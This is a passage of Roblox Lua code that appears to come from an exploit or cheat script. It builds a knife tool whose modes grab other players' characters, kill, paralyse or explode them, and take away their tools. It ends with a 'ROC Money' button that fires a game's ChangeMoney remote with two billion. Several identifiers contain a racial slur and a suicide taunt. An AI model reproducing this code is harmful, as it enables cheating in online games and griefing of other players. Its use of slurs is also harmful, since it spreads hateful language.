= coroutine.wrap(function() wait(0.2) expaccent.Enabled = false wait(2) exppart:Remove() end) explosionaccenttimeout() for i,v in pairs(knofe:GetChildren()) do if v:IsA('BasePart') then v.Transparency = 1 end end exp.AncestryChanged:connect(function() knofe:Destroy() end) end) coru() end end) if finishnum == 1 then for i= 0,1,0.1 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld2 == nil then return end weld2.C0 = weld2.C0:lerp(CFrame.new(-1.5,0,0),i) wait(0.001) end else wait(0.1) end weld2.C0 = CFrame.new(-1.5,0,0) for i,v in pairs(obj1:GetChildren()) do if v:IsA('BasePart') then v.Transparency = 0 end end weld2:Destroy() rightshoulderz:Clone().Parent = me.Torso end acting = false canClick = true end) coru() end function release() if grabbed.Torso:FindFirstChild("TargetWeld") == nil or grabbed:FindFirstChildOfClass('Humanoid').Health <= 0 then return end targetweld = grabbed.Torso.TargetWeld local ree= grabbed:FindFirstChild("Left Arm") targetweld2 = nil if ree and ree:FindFirstChild("Weld") then targetweld2 = ree.Weld end for i, v in pairs(grabbed:GetChildren()) do if v.Name == "Part" then v.CanCollide = true end end paralyzed = false local doit = coroutine.wrap(function() local arm = me["Right Arm"] local tors = grabbed.Torso local arm2 = me["Left Arm"] if arm:FindFirstChildOfClass('Weld') == nil or arm2:FindFirstChildOfClass('Weld') == nil then return end doing = true local weld2 = arm:FindFirstChildOfClass('Weld') local weld3 = arm2:FindFirstChildOfClass('Weld') local humanroot = me.HumanoidRootPart if grabbed:FindFirstChildOfClass('Humanoid') then grabbed:FindFirstChildOfClass('Humanoid').PlatformStand = false end rightshoulderz:Clone().Parent = me.Torso leftshoulderz:Clone().Parent = me.Torso grabbed = nil if humanroot:FindFirstChild('Holder') then humanroot.Holder:Destroy() end for i = 0,1,0.1 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld2 == nil or weld3 == nil then return end weld2.C0 = weld2.C0:lerp(CFrame.new(-1.5,0,0),i) weld3.C0 = weld3.C0:lerp(CFrame.new(1.5,0,0),i) targetweld.C0 = targetweld.C0:lerp(CFrame.new(0, 1.5, 0)*CFrame.Angles(0, 0, 0), i) if targetweld2 then targetweld2.C0 = targetweld2.C0:lerp(CFrame.new(-1.5, 0, 0)*CFrame.Angles(0, 0, 0), i) end wait(0.01) end knifeweld.C1 = CFrame.fromEulerAnglesXYZ(1.55, math.rad(-90), 1.55) * CFrame.new(0, 0.95, 0.2) weld2:Destroy() weld3:Destroy() targetweld:Remove() if targetweld2 then targetweld2:Remove() end if rightshoulder then rightshoulder:Clone().Parent = tors end if leftshoulder then leftshoulder:Clone().Parent = tors end headweld:Clone().Parent = tors rightshoulderz:Clone().Parent = me.Torso leftshoulderz:Clone().Parent = me.Torso acting = false canClick = true doing = false end) doit() end function stabwithpassion() local doit = coroutine.wrap(function() if me:FindFirstChild('Right Arm') and me:FindFirstChild('Torso') and me:FindFirstChild('HumanoidRootPart') and me:FindFirstChild('Left Arm') then acting = true me:FindFirstChildOfClass('Humanoid').WalkSpeed = me:FindFirstChildOfClass('Humanoid').WalkSpeed + 10 local arm = me["Right Arm"] local tors = me.Torso local arm2 = me["Left Arm"] local humanroot = me.HumanoidRootPart local weld = Instance.new('Weld',tors) weld.Part0 = tors weld.Part1 = humanroot weld.C0 = CFrame.new(0,0,0) * CFrame.Angles(0, 0, 0) local weld2 = Instance.new('Weld',arm) weld2.Part0 = arm weld2.Part1 = tors weld2.C0 = CFrame.new(-1.5,0,0) * CFrame.Angles(0, 0, 0) local weld3 = Instance.new('Weld',arm2) weld3.Part0 = arm2 weld3.Part1 = tors weld3.C0 = CFrame.new(1.5,0,-0.3) * CFrame.Angles(0.3,0.1,0) for i = 0,1,0.15 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld == nil or weld2 == nil or humanroot == nil then return end weld.C0 = weld.C0:lerp(CFrame.new(0,0,0)*CFrame.Angles(0,math.rad(20),0),i) weld2.C0 = weld2.C0:lerp(CFrame.new(-1.2,1.3,0.4)*CFrame.Angles(0.5,0,-1.2),i) knifeweld.C1 = knifeweld.C1:lerp(CFrame.fromEulerAnglesXYZ(1.55, math.rad(90), -1.55) * CFrame.new(0, 0.95, 0), i) wait(0.01) end wait(0.001) trail.Enabled = true stabbing = true audio2.SoundId = 'rbxassetid://608537390' audio2:Play() for i = 0,1,0.2 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld == nil or weld2 == nil or humanroot == nil then return end weld.C0 = weld.C0:lerp(CFrame.new(0,0,0)*CFrame.Angles(0,math.rad(-45),0),i) weld2.C0 = weld2.C0:lerp(CFrame.new(-1.6,0.8,-1)*CFrame.Angles(math.rad(-90),0,-1),i) wait(0.01) end trail.Enabled = false wait(0.1) me:FindFirstChildOfClass('Humanoid').WalkSpeed = me:FindFirstChildOfClass('Humanoid').WalkSpeed - 10 stabbing = false wait(0.001) for i = 0,1,0.075 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld == nil or weld2 == nil or humanroot == nil then return end weld.C0 = weld.C0:lerp(CFrame.new(0,0,0)*CFrame.Angles(0,0,0),i) weld2.C0 = weld2.C0:lerp(CFrame.new(-1.5,0,0)*CFrame.Angles(0,0,0),i) weld3.C0 = weld3.C0:lerp(CFrame.new(1.5,0,0)*CFrame.Angles(0,0,0),i) knifeweld.C1 = knifeweld.C1:lerp(CFrame.fromEulerAnglesXYZ(1.55, math.rad(-90), 1.55) * CFrame.new(0, 0.95, 0), i) wait(0.01) end weld:Destroy() weld2:Destroy() weld3:Destroy() torsojoint:Clone().Parent = humanroot rightshoulderz:Clone().Parent = me.Torso leftshoulderz:Clone().Parent = me.Torso canClick = true hit = false acting = false end end) doit() end function stab() local doit = coroutine.wrap(function() if me:FindFirstChild('Right Arm') and me:FindFirstChild('Torso') and me:FindFirstChild('HumanoidRootPart') and me:FindFirstChild('Left Arm') then acting = true me:FindFirstChildOfClass('Humanoid').WalkSpeed = me:FindFirstChildOfClass('Humanoid').WalkSpeed + 3 local arm = me["Right Arm"] local tors = me.Torso local arm2 = me["Left Arm"] local humanroot = me.HumanoidRootPart local weld = Instance.new('Weld',tors) weld.Part0 = tors weld.Part1 = humanroot weld.C0 = CFrame.new(0,0,0) * CFrame.Angles(0, 0, 0) local weld2 = Instance.new('Weld',arm) weld2.Part0 = arm weld2.Part1 = tors weld2.C0 = CFrame.new(-1.5,0,0) * CFrame.Angles(0, 0, 0) local weld3 = Instance.new('Weld',arm2) weld3.Part0 = arm2 weld3.Part1 = tors weld3.C0 = CFrame.new(1.5,0,-0.3) * CFrame.Angles(0.3,0.1,0) for i = 0,1,0.1 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld == nil or weld2 == nil or humanroot == nil then return end weld.C0 = weld.C0:lerp(CFrame.new(0,0,0)*CFrame.Angles(0,0.3,0),i) weld2.C0 = weld2.C0:lerp(CFrame.new(-1.2,1.3,0.4)*CFrame.Angles(0.5,0,-1.2),i) wait(0.01) end wait(0.001) trail.Enabled = true stabbing = true audio2.SoundId = 'rbxassetid://608537390' audio2:Play() for i = 0,1,0.25 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld == nil or weld2 == nil or humanroot == nil then return end weld.C0 = weld.C0:lerp(CFrame.new(0,0,0)*CFrame.Angles(0,-0.3,0),i) weld2.C0 = weld2.C0:lerp(CFrame.new(-1.6,0.8,0.5)*CFrame.Angles(-0.5,0,-0.5),i) wait(0.01) end trail.Enabled = false wait(0.1) me:FindFirstChildOfClass('Humanoid').WalkSpeed = me:FindFirstChildOfClass('Humanoid').WalkSpeed - 3 for i = 0,1,0.25 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld == nil or weld2 == nil or humanroot == nil then return end weld.C0 = weld.C0:lerp(CFrame.new(0,0,0)*CFrame.Angles(0,0.3,0),i) weld2.C0 = weld2.C0:lerp(CFrame.new(-1.5,0.6,-0.3)*CFrame.Angles(0.5,0,-0.5),i) wait(0.01) end stabbing = false wait(0.001) for i = 0,1,0.05 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld == nil or weld2 == nil or humanroot == nil then return end weld.C0 = weld.C0:lerp(CFrame.new(0,0,0)*CFrame.Angles(0,0,0),i) weld2.C0 = weld2.C0:lerp(CFrame.new(-1.5,0,0)*CFrame.Angles(0,0,0),i) weld3.C0 = weld3.C0:lerp(CFrame.new(1.5,0,0)*CFrame.Angles(0,0,0),i) wait(0.01) end weld:Destroy() weld2:Destroy() weld3:Destroy() torsojoint:Clone().Parent = humanroot rightshoulderz:Clone().Parent = me.Torso leftshoulderz:Clone().Parent = me.Torso canClick = true hit = false acting = false end end) doit() end function hardrelease() rightshoulderz:Clone().Parent = me.Torso leftshoulderz:Clone().Parent = me.Torso if me:FindFirstChild('Right Arm') then for i,v in pairs(me["Right Arm"]:GetChildren()) do if v:IsA('Weld') then v:Destroy() end end end if me:FindFirstChild('Left Arm') then for i,v in pairs(me["Left Arm"]:GetChildren()) do if v:IsA('Weld') then v:Destroy() end end end acting = false canClick = true doing = false grabbed = nil end function unequip() local doit = coroutine.wrap(function() if me:FindFirstChild('Right Arm') and me:FindFirstChild('Torso') then acting = true local arm = me["Right Arm"] local arm2 = me["Left Arm"] local tors = me.Torso local weld = Instance.new('Weld',arm) weld.Part0 = arm weld.Part1 = tors weld.C0 = CFrame.new(-1.5,0,0) local weld2 = Instance.new("Weld", arm2) weld2.Part0 = arm2 weld2.Part1 = tors weld2.C0 = CFrame.new(1.5, 0, 0) wait(0.001) trail.Enabled = true for i = 0,1,0.1 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld == nil then return end weld.C0 = weld.C0:lerp(CFrame.new(-0.2,0.2,-0.5)*CFrame.Angles(0,-3.1,0.9),i) weld2.C0 = weld2.C0:lerp(CFrame.new(1.5, 0.6, 0) * CFrame.Angles(0,0,0.5),i) wait(0.001) end trail.Enabled = false wait(0.25) for i = 0,1,0.1 do if me:FindFirstChild('Right Arm') == nil or me:FindFirstChild('Torso') == nil or weld == nil then return end weld.C0 = weld.C0:lerp(CFrame.new(-1.5,0,0),i) weld2.C0 = weld2.C0:lerp(CFrame.new(1.5, 0, 0), i) wait(0.01) end weld:Destroy() weld2:Remove() if tors ~= nil then rightshoulderz:Clone().Parent = me.Torso leftshoulderz:Clone().Parent = me.Torso end acting = false end end) doit() end mouse.KeyDown:connect(function(key) if usable == true then if key == "z" then if active == false and acting == false then active = true if playergui:FindFirstChild('Notification') then playergui.Notification:Destroy() end notify("KNIFE EQUIPPED",false) audio:Stop() audio.SoundId = 'rbxassetid://608618332' equip() wait(0.6) audio:Play() knifeweld.Part0 = me["Right Arm"] knifeweld.C1 = CFrame.fromEulerAnglesXYZ(1.55, math.rad(-90), 1.55) * CFrame.new(0, 0.95, 0) elseif acting == false then active = false if playergui:FindFirstChild('Notification') then playergui.Notification:Destroy() end audio:Stop() audio.SoundId = 'rbxassetid://608538233' unequip() notify("KNIFE UNEQUIPPED",false) wait(0.3) audio:Play() knifeweld.Part0 = me.Torso knifeweld.C1 = CFrame.Angles(0,math.rad(90),0) * CFrame.new(1, 0.8, 0.55) canClick = true end elseif key == "f" then if mode == 'kill' or active == false then return end mode = "kill" if playergui:FindFirstChild('Notification') then playergui.Notification:Destroy() end notify("MODE || KILL || [F]",false) elseif key == "e" then if mode == 'throw' or active == false then return end mode = "throw" if playergui:FindFirstChild('Notification') then playergui.Notification:Destroy() end notify("MODE || PUSH || [E]",false) elseif key == "q" then if mode == 'release' or active == false then return end mode = "release" if playergui:FindFirstChild('Notification') then playergui.Notification:Destroy() end notify("MODE || RELEASE || [Q]",false) elseif key == "x" then if mode == 'stab' or active == false or acting == true then return end mode = "stab" if playergui:FindFirstChild('Notification') then playergui.Notification:Destroy() end notify("MODE || STAB || [X]",false) elseif key == "c" then if mode == 'fling' or active == false or acting == true then return end mode = "fling" if playergui:FindFirstChild('Notification') then playergui.Notification:Destroy() end notify("MODE || THROW || [C]",false) elseif key == "b" then if mode == 'instasplode' or active == false or acting == true then return end mode = "instasplode" if playergui:FindFirstChild('Notification') then playergui.Notification:Destroy() end notify("MODE || MOLOTOV || [B]",false) elseif key == "r" then if mode == 'paralyze' or active == false then return end mode = "paralyze" if playergui:FindFirstChild('Notification') then playergui.Notification:Destroy() end notify("MODE || PARALYZE || [R]",false) elseif key == "v" then if mode == 'explode' or active == false or acting == true then return end mode = "explode" if playergui:FindFirstChild('Notification') then playergui.Notification:Destroy() end notify("MODE || EXPLODE || [V]",false) elseif key == "k" then if mode == 'suicide' or active == false or acting == true then return end mode = "suicide" if playergui:FindFirstChild('Notification') then playergui.Notification:Destroy() end notify("MODE || SUICIDE || [K]",false) elseif key == "h" then if mode == 'firework' or active == false or acting == true then return end mode = "firework" if playergui:FindFirstChild('Notification') then playergui.Notification:Destroy() end notify("MODE || FIREWORK || [H]",false) elseif key == "g" then if mode == 'finish' or active == false then return end mode = "finish" if playergui:FindFirstChild('Notification') then playergui.Notification:Destroy() end local welp = "ON" if finishnum == 1 then welp = "OFF" end notify("MODE || FINISH || [G] || "..welp,false) elseif key == "n" then if playergui:FindFirstChild('Notification') then playergui.Notification:Destroy() end if zombiemode == false then notify("ZOMBIE MODE ON || [N]",false) zombiemode = true else notify("ZOMBIE MODE OFF || [N]",false) zombiemode = false end elseif key == "m" then if finishnum == 1 then finishnum = 15 if playergui:FindFirstChild('Notification') then playergui.Notification:Destroy() end notify("PSYCHOPATH MODE ON || [M]",false) if cancolorfilter then local Sp00kyGui = Instance.new("ScreenGui") local ImageLabel = Instance.new("ImageLabel") -- Properties Sp00kyGui.Parent = playergui Sp00kyGui.Name = "REEEEEEEE" ImageLabel.Parent = Sp00kyGui ImageLabel.BackgroundColor3 = Color3.new(1, 1, 1) ImageLabel.BackgroundTransparency = 1 ImageLabel.Size = UDim2.new(1, 0, 1, 0) ImageLabel.Image = "rbxassetid://74443700" ImageLabel.ImageColor3 = Color3.new(1, 0, 0) end if canbackgroundmusic == true then local sound = Instance.new('Sound',playergui) sound.Name = 'PSYCHOPAAAATH' sound.SoundId = 'rbxassetid://220875210' sound.Looped = true sound.Volume = 0.5 sound:Play() end else finishnum = 1 if playergui:FindFirstChild('Notification') then playergui.Notification:Destroy() end notify("PSYCHOPATH MODE OFF || [M]",false) for i,v in pairs(playergui:GetChildren()) do if v.Name == "REEEEEEEE" then v:Destroy() end end local thisniggarighthere = playergui:FindFirstChild('PSYCHOPAAAATH') if thisniggarighthere then thisniggarighthere:Destroy() end end end end end) mouse.Button1Down:connect(function() if active == false or usable == false then return end if canClick == true and acting == false then if mode == "stab" and finishnum == 1 then canClick = false stab() elseif mode == "stab" and finishnum == 15 then canClick = false stabwithpassion() elseif mode == "fling" then canClick = false fling() elseif mode == "explode" then canClick = false explode() elseif mode == "instasplode" then canClick = false instasplode() elseif mode == "finish" then canClick = false finish() elseif mode == "suicide" then canClick = false kysnigga() elseif mode == "firework" then canClick = false fireworkit() else canClick = false grab() end else if grabbed ~= nil and doing == false then if mode == "release" then if acting == true and grabbed:FindFirstChildOfClass('Humanoid') and grabbed:FindFirstChildOfClass('Humanoid').Health > 0 then release() else hardrelease() end elseif mode == "kill" then if acting == true and grabbed:FindFirstChildOfClass('Humanoid') and grabbed:FindFirstChildOfClass('Humanoid').Health > 0 then kill() else hardrelease() end elseif mode == "paralyze" then if acting == true and grabbed:FindFirstChildOfClass('Humanoid') and grabbed:FindFirstChildOfClass('Humanoid').Health > 0 then paralyze() else hardrelease() end elseif mode == "throw" then if acting == true and grabbed:FindFirstChildOfClass('Humanoid') and grabbed:FindFirstChildOfClass('Humanoid').Health > 0 then throw() else hardrelease() end elseif mode == "explode" then if acting == true and grabbed:FindFirstChildOfClass('Humanoid') and grabbed:FindFirstChildOfClass('Humanoid').Health > 0 then throw() else hardrelease() end end end end end) knife.Touched:connect(function(hitz) if hitz.Parent and hitz.Parent:FindFirstChildOfClass("Humanoid") and hitz.Parent:FindFirstChild('Torso') and acting == true then if mode == "stab" and stabbing == true and hit == false then hit = true tone = math.random(1, 3) audio:Stop() if tone == 1 then audio.SoundId = "rbxassetid://220833967" end if tone == 2 then audio.SoundId = "rbxassetid://220833976" end if tone == 3 then audio.SoundId = "rbxassetid://220834000" end audio.PlaybackSpeed = 1 audio:Play() killz(hitz.Parent,'Left Leg') killz(hitz.Parent,'Left Arm') killz(hitz.Parent,'Right Leg') killz(hitz.Parent,'Right Arm') elseif mode == "finish" and finishing == true then print('PSYCHOPATH MODE REEEEEEEEEEEEEEEE') tone = math.random(1, 3) audio:Stop() if tone == 1 then audio.SoundId = "rbxassetid://220833967" end if tone == 2 then audio.SoundId = "rbxassetid://220833976" end if tone == 3 then audio.SoundId = "rbxassetid://220834000" end audio.PlaybackSpeed = 1 audio:Play() if hit == false then hitz.Parent:FindFirstChildOfClass('Humanoid').Health = 0 wait() killz(hitz.Parent,'Head',nil,false,true) end hit = true elseif grabbed == nil and grabbing == true and hit == false then if hitz.Parent:FindFirstChildOfClass("Humanoid").Health > 0 and hitz.Parent:FindFirstChild('Torso') and hitz.Parent.Torso:FindFirstChild('Neck') then grabbed = hitz.Parent local weldz = Instance.new('Weld',point) weldz.Name = "Holder" weldz.Part0 = point weldz.Part1 = hitz.Parent.Torso weldz.C0 = CFrame.new(0,0,-1.2) end end end end) player.CharacterAdded:connect(function() usable = false for i,v in pairs(playergui:GetChildren()) do if v.Name == "REEEEEEEE" or v.Name == 'PSYCHOPAAAATH' then v:Destroy() end end end) while usable do local coru = coroutine.wrap(function() if grabbed ~= nil then if grabbed:FindFirstChildOfClass('Humanoid') and grabbed:FindFirstChildOfClass('Humanoid').Health > 0 then for i,v in pairs(grabbed:GetChildren()) do if v:IsA('Tool') then local model = Instance.new('Model',workspace) v.Parent = model model:TranslateBy(Vector3.new(3,0,0)) end end grabbed:FindFirstChildOfClass('Humanoid').Name = "Hoomanoid" grabbed:FindFirstChildOfClass('Humanoid').JumpPower = 0 grabbed:FindFirstChildOfClass('Humanoid').WalkSpeed = 0 grabbed:FindFirstChildOfClass('Humanoid').PlatformStand = true grabweld = grabbed.Torso:FindFirstChild("TargetWeld") if grabweld ~= nil then return end grabbed:FindFirstChildOfClass('Humanoid').PlatformStand = true if grabbed.Torso:FindFirstChild('Left Shoulder') then leftshoulder = grabbed.Torso["Left Shoulder"]:Clone() end if grabbed.Torso:FindFirstChild('Right Shoulder') then rightshoulder = grabbed.Torso["Right Shoulder"]:Clone() end headweld = grabbed.Torso["Neck"]:Clone() local targetweld = Instance.new('Weld',grabbed.Torso) targetweld.Part0 = grabbed.Torso targetweld.Part1 = grabbed.Head targetweld.Name = "TargetWeld" targetweld.C0 = CFrame.new(0,1.5,0) * CFrame.Angles(0, 0, 0) if grabbed:FindFirstChild('Left Arm') then local targetweld2 = Instance.new('Weld',grabbed["Left Arm"]) targetweld2.Part0 = grabbed.Torso targetweld2.Part1 = grabbed["Left Arm"] targetweld2.C0 = CFrame.new(-1.5,0,0) * CFrame.Angles(0, 0, 0) end for i = 0,1,0.1 do if me:FindFirstChild("Left Arm") == nil or me:FindFirstChild("Torso") == nil or targetweld == nil then return end targetweld.C0 = targetweld.C0:lerp(CFrame.new(0, 1.5, 0)*CFrame.Angles(0.25, 0, 0), i) if targetweld2 then targetweld2.C0 = targetweld2.C0:lerp(CFrame.new(-1.5, 0.5, 0)*CFrame.Angles(0, 0, -0.55), i) end wait(0.001) end end end end) coru() wait() end end local coru=coroutine.wrap(function() nub() end) coru() player.CharacterAppearanceLoaded:connect(function() local coru =coroutine.wrap(function() nub() end) coru() end) while true do local coru=coroutine.wrap(function() for i,v in pairs(rekt) do if v and v:FindFirstChildOfClass('Humanoid') then for a,c in pairs(v:GetChildren()) do if c:IsA('Tool') then local model = Instance.new('Model',workspace) c.Parent = model model:TranslateBy(Vector3.new(3,0,0)) end end v:FindFirstChildOfClass('Humanoid').Jump = false v:FindFirstChildOfClass('Humanoid').Sit = false v:FindFirstChildOfClass('Humanoid').JumpPower = 0 v:FindFirstChildOfClass('Humanoid').PlatformStand = true v:FindFirstChildOfClass('Humanoid').Name = "No escape." local thing = getplr(v) if thing then thing.CameraMinZoomDistance = 3 end else local thing = getplr(v) if thing then thing.CameraMinZoomDistance = 0.5 end table.remove(rekt,i) end end end) coru() local coru2 = coroutine.wrap(function() if curpart then curpoint = curpart.CFrame.p end if lastgui then lastgui:Destroy() lastgui = nil end if curpoint then lastgui = Instance.new('BillboardGui',player.PlayerGui) lastgui.AlwaysOnTop = true lastgui.MaxDistance = 0 lastgui.Size = UDim2.new(5,0,5,0) if curpart == nil then lastgui.Adornee = workspace lastgui.StudsOffsetWorldSpace = curpoint else lastgui.Adornee = curpart end local cross = Instance.new('ImageLabel',lastgui) cross.BackgroundTransparency = 1 cross.Size = UDim2.new(1,0,1,0) cross.Image = 'rbxassetid://316279304' for i,v in pairs(zombies) do if v:FindFirstChildOfClass('Humanoid') then v:FindFirstChildOfClass('Humanoid').WalkToPoint = curpoint end end else for i,v in pairs(zombies) do if v:FindFirstChildOfClass('Humanoid') and v:FindFirstChild('Head') then v:FindFirstChildOfClass('Humanoid').WalkToPoint = v.Head.Position end end end end) coru2() wait() end end) Money.Name = "Money" Money.Parent = script2 Money.BackgroundColor3 = Color3.new(0.258824, 0.439216, 0.933333) Money.BorderSizePixel = 0 Money.Position = UDim2.new(0.342639595, 0, 0.212616861, 0) Money.Size = UDim2.new(0, 200, 0, 50) Money.Font = Enum.Font.SourceSans Money.Text = "ROC Money" Money.TextSize = 40 Money.MouseButton1Down:connect(function() game.Players.LocalPlayer.ChangeMoney:Fire(2000000000) end) -- Scripts